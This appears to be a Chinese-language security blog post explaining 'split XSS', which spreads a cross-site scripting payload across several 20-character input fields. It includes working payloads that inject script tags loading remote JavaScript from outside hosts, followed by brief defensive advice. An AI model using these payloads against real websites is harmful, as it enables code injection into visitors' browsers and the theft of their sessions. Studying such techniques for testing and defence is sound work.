分割XSS攻击载荷:突破20字符限制的技巧

本文详细介绍了如何通过分割XSS攻击载荷来突破20字符输入限制的技术,包括利用注释绕过HTML干扰、分块注入JavaScript代码等技术细节,并提供了实际攻击案例和防御建议。

Split XSS - 分割XSS攻击载荷

突破20字符限制的XSS攻击技术

在测试一个编辑表单时,我发现8个输入字段都存在XSS漏洞,但每个字段限制为20个字符。常规XSS攻击无法在如此短的字符限制下完成,于是我开发了以下技术:

基本攻击思路

  1. 在第一个输入中开启<script>标签但不闭合:
    1
    
    "><script>alert(1)/*
    
  2. 在后续输入中闭合标签:
    1
    
    */</script>
    

字符分配策略

  • 第一个字段:用12个字符闭合输入标签并开始脚本标签,剩余8个字符用于有效载荷
  • 中间字段:每字段16个有效载荷字符(扣除4个字符用于注释标记)
  • 最后字段:9个有效载荷字符(扣除11个字符用于闭合注释和脚本标签)

实际攻击载荷示例

1
2
3
4
5
6
7
8
"><script>/*
*/x=document/*
*/.createElement(/*
*/"script");x./*
*/src="//dn.lc/s";/*
*/document.head./*
*/appendChild(x);/*
*/</script>

组合XSS技术

当网站将两个输入字段组合显示时,可以:

  1. 在名字字段注入不完整的脚本标签:
    1
    
    abc<script src="//digi.ninja/script.js" 
    
  2. 在姓氏字段注入闭合标签:
    1
    
    />
    

组合后形成完整标签:

1
abc<script src="//digi.ninja/script.js" />

防御措施

  1. 正确的输出编码是根本解决方案
  2. 输入验证可以作为辅助防御层
  3. 永远不要信任用户提供的内容

完整测试实验室可在Split XSS Lab获取

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计